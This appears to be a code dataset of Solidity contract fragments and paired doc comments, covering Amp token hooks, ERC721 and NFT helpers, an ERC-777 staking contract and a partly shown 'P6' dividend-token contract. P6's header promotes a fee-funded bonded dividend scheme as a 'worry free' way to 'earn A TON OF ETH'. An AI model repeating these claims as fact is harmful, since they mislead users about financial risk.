totalSupplyByPartition[_partition].add( _value ); } /** * @dev Add a partition to the total partitions collection. * @param _partition Name of the partition. */ function _addPartitionToTotalPartitions(bytes32 _partition) internal { _totalPartitions.push(_partition); _indexOfTotalPartitions[_partition] = _totalPartitions.length; } /** * @dev Remove a partition to the total partitions collection. * @param _partition Name of the partition. */ function _removePartitionFromTotalPartitions(bytes32 _partition) internal { uint256 index = _indexOfTotalPartitions[_partition]; if (index == 0) { return; } // move the last item into the index being vacated bytes32 lastValue = _totalPartitions[_totalPartitions.length - 1]; _totalPartitions[index - 1] = lastValue; // adjust for 1-based indexing _indexOfTotalPartitions[lastValue] = index; _totalPartitions.pop(); _indexOfTotalPartitions[_partition] = 0; } /**************************************************************************/ /********************************* Hooks **********************************/ /** * @notice Check for and call the `AmpTokensSender` hook on the sender address * (`_from`), and, if `_fromPartition` is within the scope of a strategy, * check for and call the `AmpPartitionStrategy.tokensFromPartitionToTransfer` * hook for the strategy. * @param _fromPartition Name of the partition to transfer tokens from. * @param _operator Address which triggered the balance decrease (through * transfer). * @param _from Token holder. * @param _to Token recipient for a transfer. * @param _value Number of tokens the token holder balance is decreased by. * @param _data Extra information, pertaining to the `_from` address. * @param _operatorData Extra information, attached by the operator (if any). */ function _callPreTransferHooks( bytes32 _fromPartition, address _operator, address _from, address _to, uint256 _value, bytes memory _data, bytes memory _operatorData ) internal { address senderImplementation; senderImplementation = interfaceAddr(_from, AMP_TOKENS_SENDER); if (senderImplementation != address(0)) { IAmpTokensSender(senderImplementation).tokensToTransfer( msg.sig, _fromPartition, _operator, _from, _to, _value, _data, _operatorData ); } // Used to ensure that hooks implemented by a collateral manager to validate // transfers from it's owned partitions are called bytes4 fromPartitionPrefix = PartitionUtils._getPartitionPrefix(_fromPartition); if (_isPartitionStrategy[fromPartitionPrefix]) { address fromPartitionValidatorImplementation; fromPartitionValidatorImplementation = interfaceAddr( address(this), PartitionUtils._getPartitionStrategyValidatorIName(fromPartitionPrefix) ); if (fromPartitionValidatorImplementation != address(0)) { IAmpPartitionStrategyValidator(fromPartitionValidatorImplementation) .tokensFromPartitionToValidate( msg.sig, _fromPartition, _operator, _from, _to, _value, _data, _operatorData ); } } } /** * @dev Check for `AmpTokensRecipient` hook on the recipient and call it. * @param _toPartition Name of the partition the tokens were transferred to. * @param _operator Address which triggered the balance increase (through * transfer or mint). * @param _from Token holder for a transfer (0x when mint). * @param _to Token recipient. * @param _value Number of tokens the recipient balance is increased by. * @param _data Extra information related to the token holder (`_from`). * @param _operatorData Extra information attached by the operator (if any). */ function _callPostTransferHooks( bytes32 _toPartition, address _operator, address _from, address _to, uint256 _value, bytes memory _data, bytes memory _operatorData ) internal { bytes4 toPartitionPrefix = PartitionUtils._getPartitionPrefix(_toPartition); if (_isPartitionStrategy[toPartitionPrefix]) { address partitionManagerImplementation; partitionManagerImplementation = interfaceAddr( address(this), PartitionUtils._getPartitionStrategyValidatorIName(toPartitionPrefix) ); if (partitionManagerImplementation != address(0)) { IAmpPartitionStrategyValidator(partitionManagerImplementation) .tokensToPartitionToValidate( msg.sig, _toPartition, _operator, _from, _to, _value, _data, _operatorData ); } } else { require(toPartitionPrefix == ZERO_PREFIX, EC_5D_PARTITION_RESERVED); } address recipientImplementation; recipientImplementation = interfaceAddr(_to, AMP_TOKENS_RECIPIENT); if (recipientImplementation != address(0)) { IAmpTokensRecipient(recipientImplementation).tokensReceived( msg.sig, _toPartition, _operator, _from, _to, _value, _data, _operatorData ); } } /**************************************************************************/ /******************************* Allowance ********************************/ /** * @notice Approve the `_spender` address to spend the specified amount of * tokens in `_partition` on behalf of `msg.sender`. * @param _partition Name of the partition. * @param _tokenHolder Owner of the tokens. * @param _spender The address which may spend the tokens. * @param _amount The amount of tokens available to be spent. */ function _approveByPartition( bytes32 _partition, address _tokenHolder, address _spender, uint256 _amount ) internal { require(_tokenHolder != address(0), EC_56_INVALID_SENDER); require(_spender != address(0), EC_58_INVALID_OPERATOR); _allowedByPartition[_partition][_tokenHolder][_spender] = _amount; emit ApprovalByPartition(_partition, _tokenHolder, _spender, _amount); if (_partition == defaultPartition) { emit Approval(_tokenHolder, _spender, _amount); } } /**************************************************************************/ /************************** Operator Information **************************/ /** * @dev Indicate whether the operator address is an operator of the * tokenHolder address. An operator in this case is an operator across all * partitions of the `msg.sender` address. * @param _operator Address which may be an operator of `_tokenHolder`. * @param _tokenHolder Address of a token holder which may have the `_operator` * address as an operator. * @return bool indicating whether `_operator` is an operator of `_tokenHolder` */ function _isOperator(address _operator, address _tokenHolder) internal view returns (bool) { return (_operator == _tokenHolder || _authorizedOperator[_tokenHolder][_operator]); } /** * @dev Indicate whether the operator address is an operator of the * tokenHolder address for the given partition. * @param _partition Name of the partition. * @param _operator Address which may be an operator of tokenHolder for the * `_partition`. * @param _tokenHolder Address of a token holder which may have the operator * address as an operator for the `_partition`. * @return bool indicating whether `_operator` is an operator of `_tokenHolder` for the * `_partition`. */ function _isOperatorForPartition( bytes32 _partition, address _operator, address _tokenHolder ) internal view returns (bool) { return (_isOperator(_operator, _tokenHolder) || _authorizedOperatorByPartition[_tokenHolder][_partition][_operator] || _callPartitionStrategyOperatorHook(_partition, _operator, _tokenHolder)); } /** * @notice Check if the `_partition` is within the scope of a strategy, and * call it's isOperatorForPartitionScope hook if so. * @dev This allows implicit granting of operatorByPartition permissions * based on the partition being used being of a strategy. * @param _partition The partition to check. * @param _operator The address to check if is an operator for `_tokenHolder`. * @param _tokenHolder The address to validate that `_operator` is an * operator for. */ function _callPartitionStrategyOperatorHook( bytes32 _partition, address _operator, address _tokenHolder ) internal view returns (bool) { bytes4 prefix = PartitionUtils._getPartitionPrefix(_partition); if (!_isPartitionStrategy[prefix]) { return false; } address strategyValidatorImplementation; strategyValidatorImplementation = interfaceAddr( address(this), PartitionUtils._getPartitionStrategyValidatorIName(prefix) ); if (strategyValidatorImplementation != address(0)) { return IAmpPartitionStrategyValidator(strategyValidatorImplementation) .isOperatorForPartitionScope(_partition, _operator, _tokenHolder); } // Not a partition format that imbues special operator rules return false; } /**************************************************************************/ /******************************** Minting *********************************/ /** * @notice Perform the minting of tokens. * @dev The tokens will be minted on behalf of the `_to` address, and will be * minted to the address's default partition. * @param _operator Address which triggered the issuance. * @param _to Token recipient. * @param _value Number of tokens issued. */ function _mint( address _operator, address _to, uint256 _value ) internal { require(_to != address(0), EC_57_INVALID_RECEIVER); _totalSupply = _totalSupply.add(_value); _addTokenToPartition(_to, defaultPartition, _value); _callPostTransferHooks( defaultPartition, _operator, address(0), _to, _value, "", "" ); emit Minted(_operator, _to, _value, ""); emit Transfer(address(0), _to, _value); emit TransferByPartition(bytes32(0), _operator, address(0), _to, _value, "", ""); } }
Retrieves the allowance of tokens that has been granted by `_owner` to `_spender` for the default partition. Note that this only returns the allowance of the `_owner` address's default partition. To retrieve the allowance for a different partition, use function `Amp.allowanceByPartition`. _owner The address holding the authorized tokens. _spender The address authorized to transfer the tokens from `_owner`. return uint256 specifying the amount of tokens available for the `_spender` to transfer from the `_owner`'s default partition./
function allowance(address _owner, address _spender) external override view returns (uint256) { return _allowedByPartition[defaultPartition][_owner][_spender]; }
1,065,007
./full_match/137/0xf601ad6d92ead54600E6Ca1C89e0AD3899e46512/sources/contracts/Contract.sol
See {IERC721-getApproved}./
function getApproved(uint256 tokenId) public view virtual override returns (address) { require( _exists(tokenId), "ERC721Psi: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; }
3,767,719
./partial_match/1/0xe7bC79960EF0B7c6b21cec91476a42678C90a37f/sources/NFTCustomStaking.sol
Deactivates supported Nft tokenId/
function deactivateNftToken(uint256 _tokenId) public onlyOwner { nftTokenMap[_tokenId].active = false; }
3,972,369
pragma solidity ^0.5.0; // https://github.com/OpenZeppelin/openzeppelin-contracts-ethereum-package/blob/master/contracts/ // https://github.com/OpenZeppelin/openzeppelin-sdk/tree/master/packages/lib/contracts import "@openzeppelin/contracts/token/ERC777/IERC777.sol"; import "@openzeppelin/contracts/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import '@openzeppelin/contracts-ethereum-package/contracts/lifecycle/Pausable.sol'; import './Recoverable.sol'; /** * Allows token owners to lock tokens for the period of time. * * A non-custodial way to lock up tokens. * For lock ups, the emitted events are read on the server-side * and can trigger actions like subscription. * * For each stake action, we give an unique id and generate an event. * Then the user can get these events from logs and unstake by id. * * Staking happens by sending the correct amonut of tokens * to the contract using ERC-777 send(). * * We are not using SafeMath here, as we are not doing accounting math. * user gets out the same amount of tokens they send in. * */ contract Staking is Initializable, ReentrancyGuard, Pausable, Recoverable, IERC777Recipient { // A single staking event struct Stake { // Who is staking address owner; // How many tokens staked uint amount; // When this staking ends. // Set to zero after unstaking, so the owner // cannot unstake the same stake twice. uint endsAt; } // // One byte message ids that we can get through ERC-777 token send user data // // Tokens are staked for the owner itself uint8 constant USER_DATA_STAKE_OWN = 0x06; // Tokens to be staked are not for the sender address, but someone else uint8 constant USER_DATA_STAKE_BEHALF = 0x07; // ERC-777 callbacks // https://forum.openzeppelin.com/t/simple-erc777-token-example/746 IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient"); // Trusted DAWN token contract IERC777 public token; // How many takens the user can stak uint public stakingAmount; // Seconds how low the staking will take uint public stakingTime; // How many tokens we have staked over the life time of this contract uint public totalStaked; // How many tokens there are currently on the contract // (unstaked tokens are removed) uint public currentlyStaked; // An Ethereum servie account that can reset the stating parameters, // as likely the stake amount will fluctuate with the dollar // price of the token address public stakePriceOracle; // Stakes by the user mapping(uint128 => Stake) public stakes; // Staking price and period was reset event StakingParametersChanged(uint amount, uint time); // User staked their tokens event Staked(address indexed staker, uint128 stakeId, uint amount, uint endsAt); // User withdraw their tokens from staking event Unstaked(address indexed staker, uint128 stakeId, uint amount); // Mew stake price oracle has been set event OracleChanged(address newOracle); /** * Set up the staking smart contract * * We use Zeppelin initializer pattern here for the consistence, * even though the contract is not going to be an upgrade proxy * * @param _owner The owning multisig for pausable action and resetting oracle * @param _token Which token we will stake * @param _amount Initial amount how many tokens are staked at once * @param _time Initial duration of the stake in seconds * @param _oracle Address of the initial parameters oracle */ function initialize(address _owner, IERC777 _token, uint _amount, uint _time, address _oracle) public initializer { // Call parent initializers Recoverable.initialize(_msgSender()); // Note: ReentrancyGuard.initialze() was added in OpenZeppelin SDK 2.6.0, we are using 2.5.0 // ReentrancyGuard.initialize(); // Initial parameters are set by the owner, // before we give the control to the real oracle stakePriceOracle = _msgSender(); setStakingParameters(_amount, _time); setOracle(_oracle); Pausable.initialize(_owner); _transferOwnership(_owner); token = _token; // ERC-777 receiver init // See https://forum.openzeppelin.com/t/simple-erc777-token-example/746 _erc1820.setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this)); } /** * Stake tokens sent on the contract. * * @param stakeId Random 128-bit UUID generated on the client side for the user * @param staker On whose behalf we are staking * @param amount Amount of tokens to stake */ function _stakeInternal(uint128 stakeId, address staker, uint amount) internal whenNotPaused nonReentrant { require(stakeId != 0x0, "Invalid stake id"); require(staker != address(0x0), "Bad staker"); require(amount == stakingAmount, "Wrong staking amount"); require(!isStake(stakeId), "stakeId taken"); uint endsAt = now + stakingTime; stakes[stakeId] = Stake(staker, stakingAmount, endsAt); totalStaked += stakingAmount; currentlyStaked += stakingAmount; emit Staked(staker, stakeId, stakingAmount, endsAt); } /** * Return data for a single stake. */ function getStakeInformation(uint128 stakeId) public view returns (address staker, uint amount, uint endsAt) { Stake memory s = stakes[stakeId]; return (s.owner, s.amount, s.endsAt); } /** * Check if a stakeId has been allocated */ function isStake(uint128 stakeId) public view returns (bool) { return stakes[stakeId].owner != address(0x0); } /** * Return true if the user has still tokens in the staking contract for a previous stake. */ function isStillStaked(uint128 stakeId) public view returns (bool) { return stakes[stakeId].endsAt != 0; } /** * Send tokens back to the staker. * * It is not possible to unstake behalf of others. * The business rationale on this is that the stake duration * can be seen similarly as the minimum subscription period. * However, the user is free to continue the subscription * as long as he wants and this position should not be * forcefully terminated. */ function unstake(uint128 stakeId) public whenNotPaused nonReentrant { Stake memory s = stakes[stakeId]; require(s.endsAt != 0, "Already unstaked"); require(now >= s.endsAt, "Unstaking too soon"); require(_msgSender() == s.owner, "Only owner can unstake"); // Mark the stake released stakes[stakeId].endsAt = 0; currentlyStaked -= s.amount; emit Unstaked(s.owner, stakeId, s.amount); // Use ERC-777 to send tokens to the wallet of the owner token.send(s.owner, s.amount, bytes('')); } /** * Oracle can adjust required stake amount and duration. */ function setStakingParameters(uint _amount, uint _time) public { address sender = _msgSender(); require(sender == stakePriceOracle, "Only oracle can set pricing"); require(_amount > 0, "Amount cannot be zero"); require(_time > 0, "Time cannot be zero"); stakingAmount = _amount; stakingTime = _time; emit StakingParametersChanged(_amount, _time); } /** * Set a new oracle that change staking pricing. */ function setOracle(address _oracle) public onlyOwner { stakePriceOracle = _oracle; emit OracleChanged(_oracle); } /** * ERC-777 tokens received callback. * * This is the only public method to get tokens staked. * * The end point can act differently depending on userData * that is supplied with the token transfer. * * - No data = user is just staking tokens for himself * = [0x07: uint8, address] = stake on behalf of someone else * * Staking on behalf of someone else is useful e.g. * if a smart contract buys DAWN tokens for you and * wants to get them immediately staked on behalf of you, * all in a single tranaction (flash staking). * * https://forum.openzeppelin.com/t/simple-erc777-token-example/746 */ function tokensReceived( address, address from, address, uint256 amount, bytes calldata userData, bytes calldata ) external { address sender = _msgSender(); require(sender == address(token), "Invalid token"); address staker = from; // Check what we have in a payload require(userData.length > 0, "User data missing"); uint8 msgId = abi.decode(userData, (uint8)); uint8 discard; uint128 stakeId; address behalf; if(msgId == USER_DATA_STAKE_OWN) { // Stake for yourself // Decode Solidity tightly packed arguments (discard, stakeId) = abi.decode(userData, (uint8, uint128)); staker = from; } else if(msgId == USER_DATA_STAKE_BEHALF) { // Stake for someone else // Decode Solidity tightly packed arguments (discard, stakeId, behalf) = abi.decode(userData, (uint8, uint128, address)); staker = behalf; } else { revert("Unknown send() msg"); } _stakeInternal(stakeId, staker, amount); } }
Set up the staking smart contract We use Zeppelin initializer pattern here for the consistence, even though the contract is not going to be an upgrade proxy _owner The owning multisig for pausable action and resetting oracle _token Which token we will stake _amount Initial amount how many tokens are staked at once _time Initial duration of the stake in seconds _oracle Address of the initial parameters oracle/ Call parent initializers Note: ReentrancyGuard.initialze() was added in OpenZeppelin SDK 2.6.0, we are using 2.5.0 ReentrancyGuard.initialize(); Initial parameters are set by the owner, before we give the control to the real oracle ERC-777 receiver init See https:forum.openzeppelin.com/t/simple-erc777-token-example/746
function initialize(address _owner, IERC777 _token, uint _amount, uint _time, address _oracle) public initializer { Recoverable.initialize(_msgSender()); stakePriceOracle = _msgSender(); setStakingParameters(_amount, _time); setOracle(_oracle); Pausable.initialize(_owner); _transferOwnership(_owner); token = _token; _erc1820.setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this)); }
15,780,987
pragma solidity ^0.4.23; // File: contracts/Bankroll.sol interface Bankroll { //Customer functions /// @dev Stores ETH funds for customer function credit(address _customerAddress, uint256 amount) external returns (uint256); /// @dev Debits address by an amount function debit(address _customerAddress, uint256 amount) external returns (uint256); /// @dev Withraws balance for address; returns amount sent function withdraw(address _customerAddress) external returns (uint256); /// @dev Retrieve the token balance of any single address. function balanceOf(address _customerAddress) external view returns (uint256); /// @dev Stats of any single address function statsOf(address _customerAddress) external view returns (uint256[8]); // System functions // @dev Deposit funds function deposit() external payable; // @dev Deposit on behalf of an address; it is not a credit function depositBy(address _customerAddress) external payable; // @dev Distribute house profit function houseProfit(uint256 amount) external; /// @dev Get all the ETH stored in contract minus credits to customers function netEthereumBalance() external view returns (uint256); /// @dev Get all the ETH stored in contract function totalEthereumBalance() external view returns (uint256); } // File: contracts/P4RTYRelay.sol /* * Visit: https://p4rty.io * Discord: https://discord.gg/7y3DHYF */ interface P4RTYRelay { /** * @dev Will relay to internal implementation * @param beneficiary Token purchaser * @param tokenAmount Number of tokens to be minted */ function relay(address beneficiary, uint256 tokenAmount) external; } // File: contracts/SessionQueue.sol /// A FIFO queue for storing addresses contract SessionQueue { mapping(uint256 => address) private queue; uint256 private first = 1; uint256 private last = 0; /// @dev Push into queue function enqueue(address data) internal { last += 1; queue[last] = data; } /// @dev Returns true if the queue has elements in it function available() internal view returns (bool) { return last >= first; } /// @dev Returns the size of the queue function depth() internal view returns (uint256) { return last - first + 1; } /// @dev Pops from the head of the queue function dequeue() internal returns (address data) { require(last >= first); // non-empty queue data = queue[first]; delete queue[first]; first += 1; } /// @dev Returns the head of the queue without a pop function peek() internal view returns (address data) { require(last >= first); // non-empty queue data = queue[first]; } } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: openzeppelin-solidity/contracts/ownership/Whitelist.sol /** * @title Whitelist * @dev The Whitelist contract has a whitelist of addresses, and provides basic authorization control functions. * @dev This simplifies the implementation of "user permissions". */ contract Whitelist is Ownable { mapping(address => bool) public whitelist; event WhitelistedAddressAdded(address addr); event WhitelistedAddressRemoved(address addr); /** * @dev Throws if called by any account that's not whitelisted. */ modifier onlyWhitelisted() { require(whitelist[msg.sender]); _; } /** * @dev add an address to the whitelist * @param addr address * @return true if the address was added to the whitelist, false if the address was already in the whitelist */ function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) { if (!whitelist[addr]) { whitelist[addr] = true; emit WhitelistedAddressAdded(addr); success = true; } } /** * @dev add addresses to the whitelist * @param addrs addresses * @return true if at least one address was added to the whitelist, * false if all addresses were already in the whitelist */ function addAddressesToWhitelist(address[] addrs) onlyOwner public returns(bool success) { for (uint256 i = 0; i < addrs.length; i++) { if (addAddressToWhitelist(addrs[i])) { success = true; } } } /** * @dev remove an address from the whitelist * @param addr address * @return true if the address was removed from the whitelist, * false if the address wasn't in the whitelist in the first place */ function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) { if (whitelist[addr]) { whitelist[addr] = false; emit WhitelistedAddressRemoved(addr); success = true; } } /** * @dev remove addresses from the whitelist * @param addrs addresses * @return true if at least one address was removed from the whitelist, * false if all addresses weren't in the whitelist in the first place */ function removeAddressesFromWhitelist(address[] addrs) onlyOwner public returns(bool success) { for (uint256 i = 0; i < addrs.length; i++) { if (removeAddressFromWhitelist(addrs[i])) { success = true; } } } } // File: contracts/P6.sol // solhint-disable-line /* * Visit: https://p4rty.io * Discord: https://discord.gg/7y3DHYF * Stable + DIVIS: Whale and Minow Friendly * Fees balanced for maximum dividends for ALL * Active depositors rewarded with P4RTY tokens * 50% of ETH value in earned P4RTY token rewards * 2% of dividends fund a gaming bankroll; gaming profits are paid back into P6 * P4RTYRelay is notified on all dividend producing transactions * Smart Launch phase which is anti-whale & anti-snipe * * P6 * The worry free way to earn A TON OF ETH & P4RTY reward tokens * * -> What? * The first Ethereum Bonded Pure Dividend Token: * [✓] The only dividend printing press that is part of the P4RTY Entertainment Network * [✓] Earn ERC20 P4RTY tokens on all ETH deposit activities * [✓] 3% P6 Faucet for free P6 / P4RTY * [✓] Auto-Reinvests * [✓] 10% exchange fees on buys and sells * [✓] 100 tokens to activate faucet * * -> How? * To replay or use the faucet the contract must be fully launched * To sell or transfer you need to be vested (maximum of 3 days) after a reinvest */ contract P6 is Whitelist, SessionQueue { /*================================= = MODIFIERS = =================================*/ /// @dev Only people with tokens modifier onlyTokenHolders { require(myTokens() > 0); _; } /// @dev Only people with profits modifier onlyDivis { require(myDividends(true) > 0); _; } /// @dev Only invested; If participating in prelaunch have to buy tokens modifier invested { require(stats[msg.sender].invested > 0, "Must buy tokens once to withdraw"); _; } /// @dev After every reinvest features are protected by a cooloff to vest funds modifier cooledOff { require(msg.sender == owner && !contractIsLaunched || now - bot[msg.sender].coolOff > coolOffPeriod); _; } /// @dev The faucet has a rewardPeriod modifier teamPlayer { require(msg.sender == owner || now - lastReward[msg.sender] > rewardProcessingPeriod, "No spamming"); _; } /// @dev Functions only available after launch modifier launched { require(contractIsLaunched || msg.sender == owner, "Contract not lauched"); _; } /*============================== = EVENTS = ==============================*/ event onLog( string heading, address caller, address subj, uint val ); event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy, uint timestamp, uint256 price ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned, uint timestamp, uint256 price ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onCommunityReward( address indexed sourceAddress, address indexed destinationAddress, uint256 ethereumEarned ); event onReinvestmentProxy( address indexed customerAddress, address indexed destinationAddress, uint256 ethereumReinvested ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event onDeposit( address indexed customerAddress, uint256 ethereumDeposited ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ /// @dev 10% dividends for token purchase uint256 internal entryFee_ = 10; /// @dev 1% dividends for token transfer uint256 internal transferFee_ = 1; /// @dev 10% dividends for token selling uint256 internal exitFee_ = 10; /// @dev 3% of entryFee_ is given to faucet /// traditional referral mechanism repurposed as a many to many faucet /// powers auto reinvest uint256 internal referralFee_ = 30; /// @dev 20% of entryFee/exit fee is given to Bankroll uint256 internal maintenanceFee_ = 20; address internal maintenanceAddress; //Advanced Config uint256 constant internal bankrollThreshold = 0.5 ether; uint256 constant internal botThreshold = 0.01 ether; uint256 constant rewardProcessingPeriod = 6 hours; uint256 constant reapPeriod = 7 days; uint256 public maxProcessingCap = 10; uint256 public coolOffPeriod = 3 days; uint256 public launchETHMaximum = 20 ether; bool public contractIsLaunched = false; uint public lastReaped; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2 ** 64; /// @dev proof of stake (defaults at 100 tokens) uint256 public stakingRequirement = 100e18; /*================================= = DATASETS = ================================*/ // bookkeeping for autoreinvest struct Bot { bool active; bool queued; uint256 lastBlock; uint256 coolOff; } // Onchain Stats!!! struct Stats { uint invested; uint reinvested; uint withdrawn; uint rewarded; uint contributed; uint transferredTokens; uint receivedTokens; uint xInvested; uint xReinvested; uint xRewarded; uint xContributed; uint xWithdrawn; uint xTransferredTokens; uint xReceivedTokens; } // amount of shares for each address (scaled number) mapping(address => uint256) internal lastReward; mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => Bot) internal bot; mapping(address => Stats) internal stats; //on chain referral tracking mapping(address => address) public referrals; uint256 internal tokenSupply_; uint256 internal profitPerShare_; P4RTYRelay public relay; Bankroll public bankroll; bool internal bankrollEnabled = true; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ constructor(address relayAddress) public { relay = P4RTYRelay(relayAddress); updateMaintenanceAddress(msg.sender); } //Maintenance Functions /// @dev Minted P4RTY tokens are sent to the maintenance address function updateMaintenanceAddress(address maintenance) onlyOwner public { maintenanceAddress = maintenance; } /// @dev Update the bankroll; 2% of dividends go to the bankroll function updateBankrollAddress(address bankrollAddress) onlyOwner public { bankroll = Bankroll(bankrollAddress); } /// @dev The cap determines the amount of addresses processed when a user runs the faucet function updateProcessingCap(uint cap) onlyOwner public { require(cap >= 5 && cap <= 15, "Capacity set outside of policy range"); maxProcessingCap = cap; } /// @dev Updates the coolOff period where reinvest must vest function updateCoolOffPeriod(uint coolOff) onlyOwner public { require(coolOff >= 5 minutes && coolOff <= 3 days); coolOffPeriod = coolOff; } /// @dev Opens the contract for public use outside of the launch phase function launchContract() onlyOwner public { contractIsLaunched = true; } //Bot Functions /* Activates the bot and queues if necessary; else removes */ function activateBot(bool auto) public { bot[msg.sender].active = auto; //Spam protection for customerAddress if (bot[msg.sender].active) { if (!bot[msg.sender].queued) { bot[msg.sender].queued = true; enqueue(msg.sender); } } } /* Returns if the sender has the reinvestment not enabled */ function botEnabled() public view returns (bool){ return bot[msg.sender].active; } function fundBankRoll(uint256 amount) internal { bankroll.deposit.value(amount)(); } /// @dev Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) function buyFor(address _customerAddress) onlyWhitelisted public payable returns (uint256) { return purchaseTokens(_customerAddress, msg.value); } /// @dev Converts all incoming ethereum to tokens for the caller function buy() public payable returns (uint256) { if (contractIsLaunched){ //ETH sent during prelaunch needs to be processed if(stats[msg.sender].invested == 0 && referralBalance_[msg.sender] > 0){ reinvestFor(msg.sender); } return purchaseTokens(msg.sender, msg.value); } else { //Just deposit funds return deposit(); } } function deposit() internal returns (uint256) { require(msg.value > 0); //Just add to the referrals for sidelined ETH referralBalance_[msg.sender] = SafeMath.add(referralBalance_[msg.sender], msg.value); require(referralBalance_[msg.sender] <= launchETHMaximum, "Exceeded investment cap"); emit onDeposit(msg.sender, msg.value); return 0; } /** * @dev Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { purchaseTokens(msg.sender, msg.value); } /// @dev Converts all of caller's dividends to tokens. function reinvest() onlyDivis launched public { reinvestFor(msg.sender); } /// @dev Allows owner to reinvest on behalf of a supporter function investSupporter(address _customerAddress) public onlyOwner { require(!contractIsLaunched, "Contract already opened"); reinvestFor(_customerAddress); } /// @dev Internal utility method for reinvesting function reinvestFor(address _customerAddress) internal { // fetch dividends uint256 _dividends = totalDividends(_customerAddress, false); // retrieve ref. bonus later in the code payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_customerAddress, _dividends); // fire event emit onReinvestment(_customerAddress, _dividends, _tokens); //Stats stats[_customerAddress].reinvested = SafeMath.add(stats[_customerAddress].reinvested, _dividends); stats[_customerAddress].xReinvested += 1; //Refresh the coolOff bot[_customerAddress].coolOff = now; } /// @dev Withdraws all of the callers earnings. function withdraw() onlyDivis invested public { withdrawFor(msg.sender); } /// @dev Utility function for withdrawing earnings function withdrawFor(address _customerAddress) internal { // setup data uint256 _dividends = totalDividends(_customerAddress, false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); //stats stats[_customerAddress].withdrawn = SafeMath.add(stats[_customerAddress].withdrawn, _dividends); stats[_customerAddress].xWithdrawn += 1; // fire event emit onWithdraw(_customerAddress, _dividends); } /// @dev Liquifies tokens to ethereum. function sell(uint256 _amountOfTokens) onlyTokenHolders cooledOff public { address _customerAddress = msg.sender; //Selling deactivates auto reinvest bot[_customerAddress].active = false; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _maintenance = SafeMath.div(SafeMath.mul(_undividedDividends, maintenanceFee_), 100); //maintenance and referral come out of the exitfee uint256 _dividends = SafeMath.sub(_undividedDividends, _maintenance); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _undividedDividends); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; //Apply maintenance fee to the bankroll fundBankRoll(_maintenance); // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice()); //GO!!! Bankroll Bot GO!!! brbReinvest(_customerAddress); } //@dev Bankroll Bot can only transfer 10% of funds during a reapPeriod 